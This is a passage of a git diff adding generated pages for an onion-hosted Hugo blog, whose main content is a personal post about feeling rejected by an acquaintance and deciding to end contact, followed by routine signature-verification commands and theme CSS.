    I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don’t keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I’m not being helped. +If I’m being kept at arms distance. +If I’m being isolated. +I’m no docker process who should be kept isolated. +I’m the kernel module.

    +

    This came out weird coming from me, but it is what it is :) +I should, and need to say “I” sometimes. +I need to assert dominance, to show I’m in control, to show I’m happy, to show everything is fine.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md.asc
    +gpg --verify face_of_rejection.md.asc face_of_rejection.md
    +  
    +
    + + + + +
    + +
    + + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/archive/index.html b/public-onion/archive/index.html new file mode 100644 index 0000000..320e89c --- /dev/null +++ b/public-onion/archive/index.html @@ -0,0 +1,353 @@ + + + + + + + +Archives | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Face of Rejection +

    +
    +
    +

    Now that I’ve had some time to process, I think it’s good to write down this sad experience. First things first, I do know that I stand by my decision. I strongly believe whatever the f*** our interactions were, they were not of any use for me. Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. If we would never enter eachother’s social cycle. I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. Hm… ok, it still doesn’t make sense. Let me think if I can say it better or not. Ok, let’s say you this person X. Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. You count person X as a friend, but they are never invited to anything. They are kept at arms distance. Now I would assume it’s fun for many many people, but me… I already have a small social cycle. It requires so much energy for me to start new connections, connections that are worth keeping. I don’t want to be a docker container. Some isolated thing that is only interacted with when needed. But I think I communicated this so badly, that it came off wrong. To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. He though it was an attempt by me to poke her. I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. I also highly doubt defending myself would work, it would just add more pressure, and harder rejection. +...

    +
    +
    May 10, 2026 · 4 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/archive/index.xml b/public-onion/archive/index.xml new file mode 100644 index 0000000..a5f7c27 --- /dev/null +++ b/public-onion/archive/index.xml @@ -0,0 +1,126 @@ + + + + Archives on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/ + Recent content in Archives on AlipourIm journeys + Hugo -- 0.146.0 + en + Sun, 10 May 2026 22:46:10 +0000 + + + Face of Rejection + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/face_of_rejection/ + Sun, 10 May 2026 22:46:10 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/face_of_rejection/ + <p>Now that I&rsquo;ve had some time to process, I think it&rsquo;s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what&rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother&rsquo;s social cycle. +I don&rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm&hellip; ok, it still doesn&rsquo;t make sense. +Let me think if I can say it better or not. +Ok, let&rsquo;s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that&rsquo;s it, it is limited to &ldquo;talking&rdquo;. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it&rsquo;s fun for many many people, but me&hellip; +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don&rsquo;t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn&rsquo;t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn&rsquo;t the case, but I&rsquo;m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.</p> + Now that I’ve had some time to process, I think it’s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother’s social cycle. +I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm… ok, it still doesn’t make sense. +Let me think if I can say it better or not. +Ok, let’s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it’s fun for many many people, but me… +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don’t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.

    +

    Now the interesting part is my reaction. “Withdrawal”. +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just…. sad.

    +

    Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let’s be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don’t care how you define friendship. +If it isn’t mutual, it isn’t good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go.

    +

    I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other’s social circle, which to be honest came out super wrong :)))))) +I wasn’t trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn’t know how to put this into words. +And I did not do it correctly it seems as I got “rejected”. +But as my friend says, “better a sad ending, than a never ending sadness”. +I wansn’t trying to ask her out, but my social skills are so bad that it came so so wrongly.

    +

    I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don’t keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I’m not being helped. +If I’m being kept at arms distance. +If I’m being isolated. +I’m no docker process who should be kept isolated. +I’m the kernel module.

    +

    This came out weird coming from me, but it is what it is :) +I should, and need to say “I” sometimes. +I need to assert dominance, to show I’m in control, to show I’m happy, to show everything is fine.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md.asc
    +gpg --verify face_of_rejection.md.asc face_of_rejection.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/archive/page/1/index.html b/public-onion/archive/page/1/index.html new file mode 100644 index 0000000..223a6f7 --- /dev/null +++ b/public-onion/archive/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/ + + + + + + diff --git a/public-onion/assets/css/stylesheet.31b150d909186c48d6dbbf653acc2489945fa9ac2c8f8cd3fe8448e89e40fccf.css b/public-onion/assets/css/stylesheet.31b150d909186c48d6dbbf653acc2489945fa9ac2c8f8cd3fe8448e89e40fccf.css new file mode 100644 index 0000000..7b3ccd9 --- /dev/null +++ b/public-onion/assets/css/stylesheet.31b150d909186c48d6dbbf653acc2489945fa9ac2c8f8cd3fe8448e89e40fccf.css @@ -0,0 +1,7 @@ +/* + PaperMod v8+ + License: MIT https://github.com/adityatelange/hugo-PaperMod/blob/master/LICENSE + Copyright (c) 2020 nanxiaobei and adityatelange + Copyright (c) 2021-2025 adityatelange +*/ +:root{--gap:24px;--content-gap:20px;--nav-width:1024px;--main-width:720px;--header-height:60px;--footer-height:60px;--radius:8px;--theme:rgb(255, 255, 255);--entry:rgb(255, 255, 255);--primary:rgb(30, 30, 30);--secondary:rgb(108, 108, 108);--tertiary:rgb(214, 214, 214);--content:rgb(31, 31, 31);--code-block-bg:rgb(28, 29, 33);--code-bg:rgb(245, 245, 245);--border:rgb(238, 238, 238)}.dark{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--code-block-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--code-bg)}.dark.list{background:var(--theme)}*,::after,::before{box-sizing:border-box}html{-webkit-tap-highlight-color:transparent;overflow-y:scroll;-webkit-text-size-adjust:100%;text-size-adjust:100%}a,button,body,h1,h2,h3,h4,h5,h6{color:var(--primary)}body{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen,Ubuntu,Cantarell,open sans,helvetica neue,sans-serif;font-size:18px;line-height:1.6;word-break:break-word;background:var(--theme)}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section,table{display:block}h1,h2,h3,h4,h5,h6{line-height:1.2}h1,h2,h3,h4,h5,h6,p{margin-top:0;margin-bottom:0}ul{padding:0}a{text-decoration:none}body,figure,ul{margin:0}table{width:100%;border-collapse:collapse;border-spacing:0;overflow-x:auto;word-break:keep-all}button,input,textarea{padding:0;font:inherit;background:0 0;border:0}input,textarea{outline:0}button,input[type=button],input[type=submit]{cursor:pointer}input:-webkit-autofill,textarea:-webkit-autofill{box-shadow:0 0 0 50px var(--theme)inset}img{display:block;max-width:100%}.not-found{position:absolute;left:0;right:0;display:flex;align-items:center;justify-content:center;height:80%;font-size:160px;font-weight:700}.archive-posts{width:100%;font-size:16px}.archive-year{margin-top:40px}.archive-year:not(:last-of-type){border-bottom:2px solid var(--border)}.archive-month{display:flex;align-items:flex-start;padding:10px 0}.archive-month-header{margin:25px 0;width:200px}.archive-month:not(:last-of-type){border-bottom:1px solid var(--border)}.archive-entry{position:relative;padding:5px;margin:10px 0}.archive-entry-title{margin:5px 0;font-weight:400}.archive-count,.archive-meta{color:var(--secondary);font-size:14px}.footer,.top-link{font-size:12px;color:var(--secondary)}.footer{max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:calc((var(--footer-height) - var(--gap))/2)var(--gap);text-align:center;line-height:24px}.footer span{margin-inline-start:1px;margin-inline-end:1px}.footer span:last-child{white-space:nowrap}.footer a{color:inherit;border-bottom:1px solid var(--secondary)}.footer a:hover{border-bottom:1px solid var(--primary)}.top-link{visibility:hidden;position:fixed;bottom:60px;right:30px;z-index:99;background:var(--tertiary);width:42px;height:42px;padding:12px;border-radius:64px;transition:visibility .5s,opacity .8s linear}.top-link,.top-link svg{filter:drop-shadow(0 0 0 var(--theme))}.footer a:hover,.top-link:hover{color:var(--primary)}.top-link:focus,#theme-toggle:focus{outline:0}.nav{display:flex;flex-wrap:wrap;justify-content:space-between;max-width:calc(var(--nav-width) + var(--gap) * 2);margin-inline-start:auto;margin-inline-end:auto;line-height:var(--header-height)}.nav a{display:block}.logo,#menu{display:flex;margin:auto var(--gap)}.logo{flex-wrap:inherit}.logo a{font-size:24px;font-weight:700}.logo a img,.logo a svg{display:inline;vertical-align:middle;pointer-events:none;transform:translate(0,-10%);border-radius:6px;margin-inline-end:8px}button#theme-toggle{font-size:26px;margin:auto 4px}body.dark #moon{vertical-align:middle;display:none}body:not(.dark) #sun{display:none}#menu{list-style:none;word-break:keep-all;overflow-x:auto;white-space:nowrap}#menu li+li{margin-inline-start:var(--gap)}#menu a{font-size:16px}#menu .active{font-weight:500;border-bottom:2px solid}.lang-switch li,.lang-switch ul,.logo-switches{display:inline-flex;margin:auto 4px}.lang-switch{display:flex;flex-wrap:inherit}.lang-switch a{margin:auto 3px;font-size:16px;font-weight:500}.logo-switches{flex-wrap:inherit}.main{position:relative;min-height:calc(100vh - var(--header-height) - var(--footer-height));max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:var(--gap)}.page-header h1{font-size:40px}.pagination{display:flex}.pagination a{color:var(--theme);font-size:13px;line-height:36px;background:var(--primary);border-radius:calc(36px/2);padding:0 16px}.pagination .next{margin-inline-start:auto}.social-icons a{display:inline-flex;padding:10px}.social-icons a svg{height:26px;width:26px}code{direction:ltr}div.highlight,pre{position:relative}.copy-code{display:none;position:absolute;top:4px;right:4px;color:rgba(255,255,255,.8);background:rgba(78,78,78,.8);border-radius:var(--radius);padding:0 5px;font-size:14px;user-select:none}div.highlight:hover .copy-code,pre:hover .copy-code{display:block}.first-entry{position:relative;display:flex;flex-direction:column;justify-content:center;min-height:320px;margin:var(--gap)0 calc(var(--gap) * 2)}.first-entry .entry-header{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3}.first-entry .entry-header h1{font-size:34px;line-height:1.3}.first-entry .entry-content{margin:14px 0;font-size:16px;-webkit-line-clamp:3}.first-entry .entry-footer{font-size:14px}.home-info .entry-content{-webkit-line-clamp:unset}.post-entry{position:relative;margin-bottom:var(--gap);padding:var(--gap);background:var(--entry);border-radius:var(--radius);transition:transform .1s;border:1px solid var(--border)}.post-entry:active{transform:scale(.96)}.tag-entry .entry-cover{display:none}.entry-header h2{font-size:24px;line-height:1.3}.entry-content{margin:8px 0;color:var(--secondary);font-size:14px;line-height:1.6;overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.entry-footer{color:var(--secondary);font-size:13px}.entry-link{position:absolute;left:0;right:0;top:0;bottom:0}.entry-hint{color:var(--secondary)}.entry-hint-parent{display:flex;justify-content:space-between}.entry-cover{font-size:14px;margin-bottom:var(--gap);text-align:center}.entry-cover img{border-radius:var(--radius);width:100%;height:auto}.entry-cover a{color:var(--secondary);box-shadow:0 1px 0 var(--primary)}.page-header,.post-header{margin:24px auto var(--content-gap)}.post-title{margin-bottom:2px;font-size:40px}.post-description{margin-top:10px;margin-bottom:5px}.post-meta,.breadcrumbs{color:var(--secondary);font-size:14px;display:flex;flex-wrap:wrap;align-items:center}.post-meta .i18n_list li{display:inline-flex;list-style:none;margin:auto 3px;box-shadow:0 1px 0 var(--secondary)}.breadcrumbs a{font-size:16px}.post-content{color:var(--content)}.post-content h3,.post-content h4,.post-content h5,.post-content h6{margin:24px 0 16px}.post-content h1{margin:40px auto 32px;font-size:40px}.post-content h2{margin:32px auto 24px;font-size:32px}.post-content h3{font-size:24px}.post-content h4{font-size:16px}.post-content h5{font-size:14px}.post-content h6{font-size:12px}.post-content a,.toc a:hover{box-shadow:0 1px;box-decoration-break:clone;-webkit-box-decoration-break:clone}.post-content a code{margin:auto 0;border-radius:0;box-shadow:0 -1px 0 var(--primary)inset}.post-content del{text-decoration:line-through}.post-content dl,.post-content ol,.post-content p,.post-content figure,.post-content ul{margin-bottom:var(--content-gap)}.post-content ol,.post-content ul{padding-inline-start:20px}.post-content li{margin-top:5px}.post-content li p{margin-bottom:0}.post-content dl{display:flex;flex-wrap:wrap;margin:0}.post-content dt{width:25%;font-weight:700}.post-content dd{width:75%;margin-inline-start:0;padding-inline-start:10px}.post-content dd~dd,.post-content dt~dt{margin-top:10px}.post-content table{margin-bottom:var(--content-gap)}.post-content table th,.post-content table:not(.highlighttable,.highlight table,.gist .highlight) td{min-width:80px;padding:8px 5px;line-height:1.5;border-bottom:1px solid var(--border)}.post-content table th{text-align:start}.post-content table:not(.highlighttable) td code:only-child{margin:auto 0}.post-content .highlight table{border-radius:var(--radius)}.post-content .highlight:not(table){margin:10px auto;background:var(--code-block-bg)!important;border-radius:var(--radius);direction:ltr}.post-content li>.highlight{margin-inline-end:0}.post-content ul pre{margin-inline-start:calc(var(--gap) * -2)}.post-content .highlight pre{margin:0}.post-content .highlighttable{table-layout:fixed}.post-content .highlighttable td:first-child{width:40px}.post-content .highlighttable td .linenodiv{padding-inline-end:0!important}.post-content .highlighttable td .highlight,.post-content .highlighttable td .linenodiv pre{margin-bottom:0}.post-content code{margin:auto 4px;padding:4px 6px;font-size:.78em;line-height:1.5;background:var(--code-bg);border-radius:2px}.post-content pre code{display:grid;margin:auto 0;padding:10px;color:#d5d5d6;background:var(--code-block-bg)!important;border-radius:var(--radius);overflow-x:auto;word-break:break-all}.post-content blockquote{margin:20px 0;padding:0 14px;border-inline-start:3px solid var(--primary)}.post-content hr{margin:30px 0;height:2px;background:var(--tertiary);border:0}.post-content iframe{max-width:100%}.post-content img{border-radius:4px;margin:1rem 0}.post-content img[src*="#center"]{margin:1rem auto}.post-content figure.align-center{text-align:center}.post-content figure>figcaption{color:var(--primary);font-size:16px;font-weight:700;margin:8px 0 16px}.post-content figure>figcaption>p{color:var(--secondary);font-size:14px;font-weight:400}.toc{margin:0 2px 40px;border:1px solid var(--border);background:var(--code-bg);border-radius:var(--radius);padding:.4em}.dark .toc{background:var(--entry)}.toc details summary{cursor:zoom-in;margin-inline-start:10px;user-select:none}.toc details[open] summary{cursor:zoom-out}.toc .details{display:inline;font-weight:500}.toc .inner{margin:5px 20px 0;padding:0 10px;opacity:.9}.toc li ul{margin-inline-start:var(--gap)}.toc summary:focus{outline:0}.post-footer{margin-top:56px}.post-footer>*{margin-bottom:10px}.post-tags{display:flex;flex-wrap:wrap;gap:10px}.post-tags li{display:inline-block}.post-tags a,.share-buttons,.paginav{border-radius:var(--radius);background:var(--code-bg);border:1px solid var(--border)}.post-tags a{display:block;padding:0 14px;color:var(--secondary);font-size:14px;line-height:34px;background:var(--code-bg)}.post-tags a:hover,.paginav a:hover{background:var(--border)}.share-buttons{padding:10px;display:flex;justify-content:center;overflow-x:auto;gap:10px}.share-buttons li,.share-buttons a{display:inline-flex}.share-buttons a:not(:last-of-type){margin-inline-end:12px}h1:hover .anchor,h2:hover .anchor,h3:hover .anchor,h4:hover .anchor,h5:hover .anchor,h6:hover .anchor{display:inline-flex;color:var(--secondary);margin-inline-start:8px;font-weight:500;user-select:none}.paginav{display:flex;line-height:30px}.paginav a{padding-inline-start:14px;padding-inline-end:14px;border-radius:var(--radius)}.paginav .title{letter-spacing:1px;text-transform:uppercase;font-size:small;color:var(--secondary)}.paginav .prev,.paginav .next{width:50%}.paginav span:hover:not(.title){box-shadow:0 1px}.paginav .next{margin-inline-start:auto;text-align:right}[dir=rtl] .paginav .next{text-align:left}h1>a>svg{display:inline}img.in-text{display:inline;margin:auto}.buttons,.main .profile{display:flex;justify-content:center}.main .profile{align-items:center;min-height:calc(100vh - var(--header-height) - var(--footer-height) - (var(--gap) * 2));text-align:center}.profile .profile_inner{display:flex;flex-direction:column;align-items:center;gap:10px}.profile img{border-radius:50%}.buttons{flex-wrap:wrap;max-width:400px}.button{background:var(--tertiary);border-radius:var(--radius);margin:8px;padding:6px;transition:transform .1s}.button-inner{padding:0 8px}.button:active{transform:scale(.96)}#searchbox input{padding:4px 10px;width:100%;color:var(--primary);font-weight:700;border:2px solid var(--tertiary);border-radius:var(--radius)}#searchbox input:focus{border-color:var(--secondary)}#searchResults li{list-style:none;border-radius:var(--radius);padding:10px;margin:10px 0;position:relative;font-weight:500}#searchResults{margin:10px 0;width:100%}#searchResults li:active{transition:transform .1s;transform:scale(.98)}#searchResults a{position:absolute;width:100%;height:100%;top:0;left:0;outline:none}#searchResults .focus{transform:scale(.98);border:2px solid var(--tertiary)}.terms-tags li{display:inline-block;margin:10px;font-weight:500}.terms-tags a{display:block;padding:3px 10px;background:var(--tertiary);border-radius:6px;transition:transform .1s}.terms-tags a:active{background:var(--tertiary);transform:scale(.96)}.bg{color:#cad3f5;background-color:#24273a}.chroma{color:#cad3f5;background-color:#24273a}.chroma .x{}.chroma .err{color:#ed8796}.chroma .cl{}.chroma .lnlinks{outline:none;text-decoration:none;color:inherit}.chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}.chroma .lntable{border-spacing:0;padding:0;margin:0;border:0}.chroma .hl{background-color:#474733}.chroma .lnt{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#8087a2}.chroma .ln{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#8087a2}.chroma .line{display:flex}.chroma .k{color:#c6a0f6}.chroma .kc{color:#f5a97f}.chroma .kd{color:#ed8796}.chroma .kn{color:#8bd5ca}.chroma .kp{color:#c6a0f6}.chroma .kr{color:#c6a0f6}.chroma .kt{color:#ed8796}.chroma .n{}.chroma .na{color:#8aadf4}.chroma .nb{color:#91d7e3}.chroma .bp{color:#91d7e3}.chroma .nc{color:#eed49f}.chroma .no{color:#eed49f}.chroma .nd{color:#8aadf4;font-weight:700}.chroma .ni{color:#8bd5ca}.chroma .ne{color:#f5a97f}.chroma .nf{color:#8aadf4}.chroma .fm{color:#8aadf4}.chroma .nl{color:#91d7e3}.chroma .nn{color:#f5a97f}.chroma .nx{}.chroma .py{color:#f5a97f}.chroma .nt{color:#c6a0f6}.chroma .nv{color:#f4dbd6}.chroma .vc{color:#f4dbd6}.chroma .vg{color:#f4dbd6}.chroma .vi{color:#f4dbd6}.chroma .vm{color:#f4dbd6}.chroma .l{}.chroma .ld{}.chroma .s{color:#a6da95}.chroma .sa{color:#ed8796}.chroma .sb{color:#a6da95}.chroma .sc{color:#a6da95}.chroma .dl{color:#8aadf4}.chroma .sd{color:#6e738d}.chroma .s2{color:#a6da95}.chroma .se{color:#8aadf4}.chroma .sh{color:#6e738d}.chroma .si{color:#a6da95}.chroma .sx{color:#a6da95}.chroma .sr{color:#8bd5ca}.chroma .s1{color:#a6da95}.chroma .ss{color:#a6da95}.chroma .m{color:#f5a97f}.chroma .mb{color:#f5a97f}.chroma .mf{color:#f5a97f}.chroma .mh{color:#f5a97f}.chroma .mi{color:#f5a97f}.chroma .il{color:#f5a97f}.chroma .mo{color:#f5a97f}.chroma .o{color:#91d7e3;font-weight:700}.chroma .ow{color:#91d7e3;font-weight:700}.chroma .p{}.chroma .c{color:#6e738d;font-style:italic}.chroma .ch{color:#6e738d;font-style:italic}.chroma .cm{color:#6e738d;font-style:italic}.chroma .c1{color:#6e738d;font-style:italic}.chroma .cs{color:#6e738d;font-style:italic}.chroma .cp{color:#6e738d;font-style:italic}.chroma .cpf{color:#6e738d;font-weight:700;font-style:italic}.chroma .g{}.chroma .gd{color:#ed8796;background-color:#363a4f}.chroma .ge{font-style:italic}.chroma .gr{color:#ed8796}.chroma .gh{color:#f5a97f;font-weight:700}.chroma .gi{color:#a6da95;background-color:#363a4f}.chroma .go{}.chroma .gp{}.chroma .gs{font-weight:700}.chroma .gu{color:#f5a97f;font-weight:700}.chroma .gt{color:#ed8796}.chroma .gl{text-decoration:underline}.chroma .w{}.chroma{background-color:unset!important}.chroma .hl{display:flex}.chroma .lnt{padding:0 0 0 12px}.highlight pre.chroma code{padding:8px 0}.highlight pre.chroma .line .cl,.chroma .ln{padding:0 10px}.chroma .lntd:last-of-type{width:100%}::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-track{background:var(--code-bg)}::-webkit-scrollbar-thumb{background:var(--tertiary);border:5px solid var(--theme);border-radius:var(--radius)}.list:not(.dark)::-webkit-scrollbar-thumb{border:5px solid var(--code-bg)}::-webkit-scrollbar-thumb:hover{background:var(--secondary)}::-webkit-scrollbar:not(.highlighttable,.highlight table,.gist .highlight){background:var(--theme)}.post-content .highlighttable td .highlight pre code::-webkit-scrollbar{display:none}.post-content :not(table) ::-webkit-scrollbar-thumb{border:2px solid var(--code-block-bg);background:#717175}.post-content :not(table) ::-webkit-scrollbar-thumb:hover{background:#a3a3a5}.gist table::-webkit-scrollbar-thumb{border:2px solid #fff;background:#adadad}.gist table::-webkit-scrollbar-thumb:hover{background:#707070}.post-content table::-webkit-scrollbar-thumb{border-width:2px}@media screen and (min-width:768px){::-webkit-scrollbar{width:19px;height:11px}}@media screen and (max-width:768px){:root{--gap:14px}.profile img{transform:scale(.85)}.first-entry{min-height:260px}.archive-month{flex-direction:column}.archive-year{margin-top:20px}.footer{padding:calc((var(--footer-height) - var(--gap) - 10px)/2)var(--gap)}}@media screen and (max-width:900px){.list .top-link{transform:translateY(-5rem)}}@media screen and (max-width:340px){.share-buttons{justify-content:unset}}@media(prefers-reduced-motion){.terms-tags a:active,.button:active,.post-entry:active,.top-link,#searchResults .focus,#searchResults li:active{transform:none}}.comments-switch button{padding:.35rem .6rem;border:1px solid var(--border,#ccc);background:0 0;border-radius:.5rem;cursor:pointer}.comments-switch button[aria-pressed=true]{font-weight:600;outline:none}.post-single .post-header .post-meta,.post-single .post-header .entry-meta,.post-entry .entry-footer,.post-entry .post-meta{display:flex;align-items:center;flex-wrap:wrap;gap:.15rem}.post-single .post-header .post-meta>*,.post-single .post-header .entry-meta>*,.post-entry .entry-footer>*,.post-entry .post-meta>*{display:inline-flex;align-items:center;white-space:nowrap}.post-single .post-header .post-meta>*+*::before,.post-single .post-header .entry-meta>*+*::before,.post-entry .entry-footer>*+*::before,.post-entry .post-meta>*+*::before{content:"·";margin:0 .5rem;opacity:.6}.post-views-bottom{margin:.6rem 0 0;opacity:.75;font-size:.95em}#isso-thread{--bg:#fff;--card:#fff;--text:#1f2937;--muted:#6b7280;--border:rgba(0,0,0,.14);--hover:rgba(0,0,0,.045);--shadow:0 1px 2px rgba(0,0,0,.06), 0 8px 24px rgba(0,0,0,.08);--accent:#2563eb;--accent-weak:#dbeafe;color:var(--text)}html.dark #isso-thread,body.dark #isso-thread,html[data-theme=dark] #isso-thread{--bg:#0b1220;--card:#0f1525;--text:#e5e7eb;--muted:#a1a1aa;--border:rgba(255,255,255,.16);--hover:rgba(255,255,255,.06);--shadow:0 1px 2px rgba(0,0,0,.35), 0 8px 24px rgba(0,0,0,.28);--accent:#60a5fa;--accent-weak:rgba(96,165,250,.15)}#isso-thread a{color:var(--accent)}#isso-thread .isso-postbox,#isso-thread .isso-comment,#isso-thread .isso-preview{background:var(--card);border:1px solid var(--border);border-radius:14px;box-shadow:var(--shadow);padding:1rem}#isso-thread .isso-comment{margin-top:1rem}#isso-thread .isso-postbox>form{display:grid;grid-template-columns:minmax(0,1fr)max-content;column-gap:1rem;align-items:start}#isso-thread .isso-postbox .isso-auth-section,#isso-thread .isso-postbox .auth-section{display:flex;flex-direction:column;gap:.6rem}#isso-thread .isso-postbox textarea,#isso-thread .isso-postbox input[type=text],#isso-thread .isso-postbox input[type=email],#isso-thread .isso-postbox input[type=url],#isso-thread .isso-postbox input[name=author],#isso-thread .isso-postbox input[name=email],#isso-thread .isso-postbox input[name=website]{width:100%;max-width:none;box-sizing:border-box;margin-top:.5rem;background:0 0;color:var(--text);border:1px solid var(--border);border-radius:10px;padding:.75rem .9rem;font:inherit;line-height:1.4;outline:none}#isso-thread .isso-postbox textarea{min-height:140px;resize:vertical}#isso-thread .isso-postbox input:focus,#isso-thread .isso-postbox textarea:focus{border-color:var(--accent);box-shadow:0 0 0 3px color-mix(in srgb,var(--accent) 22%,transparent)}#isso-thread .isso-postbox .isso-post-action,#isso-thread .isso-postbox .post-action{grid-column:2;grid-row:1/-1;display:flex;gap:.6rem;justify-content:flex-end;align-items:center;min-width:max-content;flex-wrap:nowrap}#isso-thread .isso-postbox .isso-post-action>*,#isso-thread .isso-postbox .post-action>*{flex:none;white-space:nowrap}#isso-thread .isso-postbox .isso-post-action input[type=submit],#isso-thread .isso-postbox .post-action input[type=submit],#isso-thread .isso-postbox .isso-post-action input.submit,#isso-thread .isso-postbox .post-action input.submit{background:var(--accent);color:#fff;border:0;padding:.6rem 1rem;border-radius:10px;font-weight:600;line-height:1;cursor:pointer}#isso-thread .isso-postbox .isso-post-action input[name=preview],#isso-thread .isso-postbox .post-action input[name=preview],#isso-thread .isso-postbox .isso-post-action input[type=button],#isso-thread .isso-postbox .post-action input[type=button]{background:0 0;color:var(--accent);border:1px solid var(--accent);padding:.6rem 1rem;border-radius:10px;font-weight:600;line-height:1;cursor:pointer}@media(max-width:700px){#isso-thread .isso-postbox>form{grid-template-columns:1fr}#isso-thread .isso-postbox .isso-post-action,#isso-thread .isso-postbox .post-action{grid-column:1;grid-row:auto;justify-content:flex-end;flex-wrap:wrap;margin-top:.7rem}}#isso-thread .isso-comment .isso-meta{display:flex;gap:.5rem;flex-wrap:wrap;align-items:baseline;color:var(--muted);font-size:.92rem;margin-bottom:.35rem}#isso-thread 